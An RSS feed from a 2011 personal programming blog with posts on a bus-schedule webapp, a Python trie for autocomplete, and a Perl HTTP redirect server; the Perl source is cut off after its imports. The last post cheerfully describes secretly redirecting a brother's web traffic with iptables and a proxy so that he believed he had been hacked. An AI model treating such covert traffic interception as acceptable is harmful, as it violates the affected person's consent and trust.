<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>~Nacho/blog &#187; Programming</title>
	<atom:link href="http://criptonita.com/~nacho/blog/category/programacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://criptonita.com/~nacho/blog</link>
	<description>the cutting edge of my mind!</description>
	<lastBuildDate>Fri, 22 Apr 2011 14:01:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>Local public transportation in my pocket</title>
		<link>http://criptonita.com/~nacho/blog/2011/03/29/local-public-pocket/</link>
		<comments>http://criptonita.com/~nacho/blog/2011/03/29/local-public-pocket/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 12:08:51 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/?p=417</guid>
		<description><![CDATA[I&#8217;ve lately spent some time developing a webapp for mobile devices to interact with some of the data published by the Gijón City Council. More specifically, data about local public land transportation schedule and live arrivals. The way they are presenting that information for mobile devices at the moment is very very heavy and slow, [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve lately spent some time developing a webapp for mobile devices to interact with some of the data published by <a href="http://www.gijon.es">the Gijón City Council</a>. More specifically, data about local public land transportation schedule and live arrivals. The way they are presenting that information for mobile devices at the moment is very very heavy and slow, so I thought it may be useful to do something simpler for personal usage.</p>
<p>Basically, it is a simple web service that intensively caches data (to avoid stressing the data origin with many requests) and a fancy AJAX-powered frontend with some CSS with mobile browsers in mind (works flawlessly on Android&#8217;s browser and Mobile Safari). Additionally, if you add it as a bookmark to your iPhone&#8217;s home screen it behaves like a native application (you know, splash screen, custom icon, taskbar and so on).</p>
<p>I&#8217;m now working on client-side caching using HTML5 caching for offline usage. This way the application will boot way faster. It&#8217;s almost done, but it still needs some debugging.</p>
<p>I don&#8217;t intend to make it public for now. However, if you find it useful feel free to drop me a line. Beta testers are always welcome (but unfortunately won&#8217;t be rewarded).</p>
<p>This is how it looks like at the moment. The source will be released soon.</p>
<p><strong>Update (23:26):</strong> Android screenshots provided by <a href="http://pozueco.net/">Javier Pozueco</a>. Thanks buddy!</p>
<p><a href="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c1.png"><img class="alignleft size-full wp-image-418" title="c1" src="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c1.png" alt="" width="320" height="480" /></a><a href="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c2.png"><img class="alignright size-full wp-image-419" title="c2" src="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c2.png" alt="" width="320" height="480" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a href="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c4.png"><img class="alignleft size-full wp-image-448" title="c4" src="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c4.png" alt="" width="320" height="480" /></a><a href="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c5.png"><img class="alignright size-full wp-image-449" title="c5" src="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c5.png" alt="" width="320" height="480" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a href="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c3.jpg"><img class="aligncenter size-full wp-image-420" title="c3" src="http://criptonita.com/~nacho/blog/wp-content/uploads/2011/03/c3.jpg" alt="" width="480" height="320" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2011/03/29/local-public-pocket/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Search term completion using a search tree</title>
		<link>http://criptonita.com/~nacho/blog/2011/03/24/term-completion-using-a-pythonic-search-tree/</link>
		<comments>http://criptonita.com/~nacho/blog/2011/03/24/term-completion-using-a-pythonic-search-tree/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 11:31:36 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/?p=363</guid>
		<description><![CDATA[*lol* Nowadays it&#8217;s very usual to find websites offering hints while you&#8217;re typing on a search box. Google is a pretty good example of it. But, how could it be implemented? This feature could be implemented either in the client side or in the server side. If the word list is big (usually it is), [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="Google search box completion" src="http://s4.hubimg.com/u/2092171_f520.jpg" alt="Google search box completion" width="520" height="378" /></p>
<p><strong>*lol*</strong></p>
<p>Nowadays it&#8217;s very usual to find websites offering hints while you&#8217;re typing on a search box. Google is a pretty good example of it. But, how could it be implemented?</p>
<p>This feature could be implemented either in the client side or in the server side. If the word list is big (usually it is), it&#8217;s recommended to keep the lookup logic in the server side to save some bytes while transferring the page to the client and also to save some computing power using server-side caches (cool when you plan to serve many requests).</p>
<p>Either way, there should be a data structure somewhere containing the word list and an algorithm to do the lookup. The simplest approach may be to use a list to store the words and issue something like this when you want to get a list of hints for a given prefix:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #008000;">filter</span><span style="color: black;">&#40;</span><span style="color: #ff7700;font-weight:bold;">lambda</span> x: x.<span style="color: black;">startsWith</span><span style="color: black;">&#40;</span>prefix<span style="color: black;">&#41;</span>, word_list<span style="color: black;">&#41;</span></pre></div></div>

<p>That&#8217;s Python&#8217;s <em>filter</em>, but it works the same way the well-known Haskell&#8217;s first-order function <em>filter</em> does. It builds a new list with the elements of the original list (word_list) that match the predicate (the lambda function).</p>
<p>Although the results can (and should) be cached, the very first lookup (or when the cache expires) would be very inefficient because the entire list must be traversed and that operation will take linear time. Not bad, but when the size of the problem gets bigger (i.e. more and more words in the database) the lookup process may be too slow, especially whether you&#8217;re serving several users at the same time. If the list was sorted, the execution time could be improved a little bit by writing a more sophisticated algorithm, but let&#8217;s keep it that way for now.</p>
<p>Fortunately, there are better and faster ways to face the problem. If you don&#8217;t want to write code (usually the best choice) you may use some high-performance indexing engine such as Apache Lucene. But if you prefer the &#8216;do-it-yourself&#8217; way (for learning purposes), a search tree (more specifically, a <em>trie</em> or a prefix tree) is a good approach.</p>
<p>I&#8217;ve poorly benchmarked both alternatives (the list and the tree) and as expected the tree is pretty quicker generating hints. What I did was to feed both data structures with the content of an American English word list holding ~640k words (debian package <em>wamerican-insane</em>).</p>
<p>So, assuming four is a reasonable minimum prefix length, I measured the time it would take to get a list of words prefixed by <em>hous</em> (yes, just one, remember I said this was a poor benchmark? ;). Unsurprisingly, it took around 230 times longer for the list alternative to generate the hints (438.96 ms vs 1.92 ms). Wow.</p>
<p>My implementation of the tree is as follows. The API is quite straightforward, the &#8220;hot&#8221; methods are <em>put</em> and <em>get_hints</em>. I&#8217;ve stripped off the test suite for space reasons.</p>
<p>Usage example:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> tree = HintSearchTree<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">put</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nacho&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">put</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nachos&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">put</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nachete&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">get_hints</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nach&quot;</span><span style="color: black;">&#41;</span>
<span style="color: black;">&#91;</span><span style="color: #483d8b;">'nachete'</span>, <span style="color: #483d8b;">'nacho'</span>, <span style="color: #483d8b;">'nachos'</span><span style="color: black;">&#93;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">get_hints</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nacho&quot;</span><span style="color: black;">&#41;</span>
<span style="color: black;">&#91;</span><span style="color: #483d8b;">'nacho'</span>, <span style="color: #483d8b;">'nachos'</span><span style="color: black;">&#93;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">delete</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nacho&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">get_hints</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nacho&quot;</span><span style="color: black;">&#41;</span>
<span style="color: black;">&#91;</span><span style="color: #483d8b;">'nachos'</span><span style="color: black;">&#93;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">count_words</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #ff4500;">2</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">get_hints</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;n&quot;</span><span style="color: black;">&#41;</span>
<span style="color: black;">&#91;</span><span style="color: #483d8b;">'nachete'</span>, <span style="color: #483d8b;">'nachos'</span><span style="color: black;">&#93;</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">is_indexed</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nachete&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #008000;">True</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">is_indexed</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;nach&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #008000;">False</span>
<span style="color: #66cc66;">&gt;&gt;&gt;</span> tree.<span style="color: black;">empty</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #008000;">False</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">class</span> HintSearchTreeNode<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
<span style="color: #ff7700;font-weight:bold;">class</span> HintSearchTreeNode<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, parent=<span style="color: #008000;">None</span>, terminal=<span style="color: #008000;">False</span><span style="color: black;">&#41;</span>:
    <span style="color: #008000;">self</span>._children = <span style="color: black;">&#123;</span><span style="color: black;">&#125;</span>
    <span style="color: #008000;">self</span>._terminal = terminal
    <span style="color: #008000;">self</span>._parent = parent
&nbsp;
  @<span style="color: #008000;">property</span>
  <span style="color: #ff7700;font-weight:bold;">def</span> children<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._children
&nbsp;
  @<span style="color: #008000;">property</span>
  <span style="color: #ff7700;font-weight:bold;">def</span> terminal<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._terminal
&nbsp;
  @terminal.<span style="color: black;">setter</span>
  <span style="color: #ff7700;font-weight:bold;">def</span> terminal<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, value<span style="color: black;">&#41;</span>:
    <span style="color: #008000;">self</span>._terminal = value
&nbsp;
  @<span style="color: #008000;">property</span>
  <span style="color: #ff7700;font-weight:bold;">def</span> parent<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._parent
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> HintSearchTree<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
    <span style="color: #008000;">self</span>._root = HintSearchTreeNode<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> put<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, word<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Adds a word to the tree.&quot;&quot;&quot;</span>
    <span style="color: #808080; font-style: italic;"># TODO: Sanitize 'word'</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>word<span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">0</span>:
      <span style="color: #008000;">self</span>._put<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>._root, word<span style="color: black;">&#41;</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> count_words<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Retrieves the number of indexed words in the tree.&quot;&quot;&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._count_words<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>._root<span style="color: black;">&#41;</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> is_indexed<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, word<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Returns True if 'word' is indexed.&quot;&quot;&quot;</span>
    node = <span style="color: #008000;">self</span>._find<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>._root, word<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> node <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #008000;">None</span> <span style="color: #ff7700;font-weight:bold;">and</span> node.<span style="color: black;">terminal</span> <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #008000;">True</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> get_hints<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, prefix<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Returns a list of words prefixed by 'prefix'.&quot;&quot;&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._match_prefix<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>._root, prefix<span style="color: black;">&#41;</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> delete<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, word<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Deletes 'word' (if exists) from the tree.&quot;&quot;&quot;</span>
    terminal = <span style="color: #008000;">self</span>._find<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>._root, word<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> terminal <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #008000;">None</span>:
      terminal.<span style="color: black;">terminal</span> = <span style="color: #008000;">False</span>
      <span style="color: #008000;">self</span>._prune<span style="color: black;">&#40;</span>terminal.<span style="color: black;">parent</span>, word<span style="color: black;">&#41;</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> empty<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Returns True if the tree contains no elements.&quot;&quot;&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>._root.<span style="color: black;">children</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">0</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> _put<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, node, word, depth=<span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>:
    next_node = node.<span style="color: black;">children</span>.<span style="color: black;">get</span><span style="color: black;">&#40;</span>word<span style="color: black;">&#91;</span>depth<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> next_node <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #008000;">None</span>:
      next_node = HintSearchTreeNode<span style="color: black;">&#40;</span>parent=node<span style="color: black;">&#41;</span>
      node.<span style="color: black;">children</span><span style="color: black;">&#91;</span>word<span style="color: black;">&#91;</span>depth<span style="color: black;">&#93;</span><span style="color: black;">&#93;</span> = next_node
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>word<span style="color: black;">&#41;</span>-<span style="color: #ff4500;">1</span> == depth:
      next_node.<span style="color: black;">terminal</span> = <span style="color: #008000;">True</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
      <span style="color: #008000;">self</span>._put<span style="color: black;">&#40;</span>next_node, word, depth+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> _count_words<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, node<span style="color: black;">&#41;</span>:
    words = <span style="color: #ff4500;">1</span> <span style="color: #ff7700;font-weight:bold;">if</span> node.<span style="color: black;">terminal</span> <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #008000;">True</span> <span style="color: #ff7700;font-weight:bold;">else</span> <span style="color: #ff4500;">0</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> k <span style="color: #ff7700;font-weight:bold;">in</span> node.<span style="color: black;">children</span>:
      words += <span style="color: #008000;">self</span>._count_words<span style="color: black;">&#40;</span>node.<span style="color: black;">children</span><span style="color: black;">&#91;</span>k<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> words
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> _match_prefix<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, node, prefix<span style="color: black;">&#41;</span>:
    terminal = <span style="color: #008000;">self</span>._find<span style="color: black;">&#40;</span>node, prefix<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> terminal <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #008000;">None</span>:
      <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._harvest_node<span style="color: black;">&#40;</span>terminal, prefix<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
      <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> _harvest_node<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, node, prefix, path=<span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>:
    hints = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> node.<span style="color: black;">terminal</span> <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #008000;">True</span>:
      hints.<span style="color: black;">append</span><span style="color: black;">&#40;</span>prefix + path<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> k <span style="color: #ff7700;font-weight:bold;">in</span> node.<span style="color: black;">children</span>:
      hints.<span style="color: black;">extend</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>._harvest_node<span style="color: black;">&#40;</span>node.<span style="color: black;">children</span><span style="color: black;">&#91;</span>k<span style="color: black;">&#93;</span>, prefix, path+k<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> hints
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> _find<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, node, word, depth=<span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">if</span> depth == <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>word<span style="color: black;">&#41;</span>:
      <span style="color: #ff7700;font-weight:bold;">return</span> node
    <span style="color: #ff7700;font-weight:bold;">else</span>:
      child = node.<span style="color: black;">children</span>.<span style="color: black;">get</span><span style="color: black;">&#40;</span>word<span style="color: black;">&#91;</span>depth<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
      <span style="color: #ff7700;font-weight:bold;">if</span> child <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #008000;">None</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>._find<span style="color: black;">&#40;</span>child, word, depth+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
      <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">None</span>
&nbsp;
  <span style="color: #ff7700;font-weight:bold;">def</span> _prune<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, node, word<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">self</span>._count_words<span style="color: black;">&#40;</span>node.<span style="color: black;">children</span><span style="color: black;">&#91;</span>word<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">0</span>:
      <span style="color: #ff7700;font-weight:bold;">del</span> node.<span style="color: black;">children</span><span style="color: black;">&#91;</span>word<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#93;</span>
      <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>node.<span style="color: black;">children</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">0</span> <span style="color: #ff7700;font-weight:bold;">and</span> node.<span style="color: black;">parent</span> <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #008000;">None</span> \
          <span style="color: #ff7700;font-weight:bold;">and</span> node.<span style="color: black;">terminal</span> <span style="color: #ff7700;font-weight:bold;">is</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #008000;">True</span>:
        <span style="color: #008000;">self</span>._prune<span style="color: black;">&#40;</span>node.<span style="color: black;">parent</span>, word<span style="color: black;">&#91;</span>:-<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>The code is released in the public domain.</p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2011/03/24/term-completion-using-a-pythonic-search-tree/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some Perl to redirect HTTP requests</title>
		<link>http://criptonita.com/~nacho/blog/2011/02/24/some-perl-bits-to-redirect-http-requests/</link>
		<comments>http://criptonita.com/~nacho/blog/2011/02/24/some-perl-bits-to-redirect-http-requests/#comments</comments>
		<pubDate>Thu, 24 Feb 2011 21:55:33 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/?p=325</guid>
		<description><![CDATA[After almost a year without publishing a single post, it seems this week I&#8217;m going to beat all my records. A week ago, I wanted to prank my brother for a while. Nothing sophisticated&#8230; just some Iptables rules, Tinyproxy and HTTP magic. To go ahead with my evil plans, I needed &#8220;something&#8221; able to redirect [...]]]></description>
			<content:encoded><![CDATA[<p>After almost a year without publishing a single post, it seems this week I&#8217;m going to beat all my records.</p>
<p>A week ago, I wanted to prank my brother for a while. Nothing sophisticated&#8230; just some Iptables rules, Tinyproxy and HTTP magic. To go ahead with my evil plans, I needed &#8220;something&#8221; able to redirect a HTTP request. Actually, there are several ways to do that: Apache redirects, Tornado, Netcat* and so on. These alternatives are fast, bulletproof and time-saving, but not fun.</p>
<p>As many of you probably know, I didn&#8217;t get a job yet. That necessary means that I&#8217;ve got plenty of free time to waste. So&#8230; what did I do? I wrote some Perl and today I&#8217;m publishing the source code just in case someone finds it useful somehow. Like the previous entry, it&#8217;s published in the public domain.</p>
<p>The script just collects connections, issues <em>301</em> back (Moved Permanently) and sets <em>Location</em> to the URI specified as a command line argument (option -u). It lacks some security checks (left as an exercise to the reader) but it does what it is supposed to do. You may likely spot some silly bugs as I haven&#8217;t spent much time reading it again. Reports are welcome!</p>
<p>For those wondering, the prank was a big success. I&#8217;m afraid I can&#8217;t spare any detail by now but it turns out my bro is still thinking that his computer has been cracked.</p>
<p>Example invocation:</p>
<blockquote><p>$ <strong>perl redir.pl -p 7070 -v -t 3 -u http://31337.pl</strong><br />
2011/02/24 21:41:54 Listening on port 7070<br />
2011/02/24 21:41:54 Redirecting HTTP requests to: &#8216;http://31337.pl&#8217;<br />
2011/02/24 21:41:54 3 thread(s) working under the hood<br />
&#8230;</p></blockquote>
<p>And finally the source code:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">use</span> warnings<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> threads<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> Thread<span style="color: #339933;">::</span><span style="color: #006600;">Queue</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> POSIX<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> HTTP<span style="color: #339933;">::</span><span style="color: #006600;">Request</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> HTTP<span style="color: #339933;">::</span><span style="color: #006600;">Status</span> <span style="color: #000066;">qw</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">:</span>constants status_message<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> Getopt<span style="color: #339933;">::</span><span style="color: #006600;">Long</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> DateTime<span style="color: #339933;">::</span><span style="color: #006600;">Format</span><span style="color: #339933;">::</span><span style="color: #006600;">HTTP</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> Data<span style="color: #339933;">::</span><span style="color: #006600;">Validate</span><span style="color: #339933;">::</span><span style="color: #006600;">URI</span> <span style="color: #000066;">qw</span><span style="color: #009900;">&#40;</span>is_http_uri<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> Log<span style="color: #339933;">::</span><span style="color: #006600;">Log4perl</span> <span style="color: #000066;">qw</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">:</span>easy<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
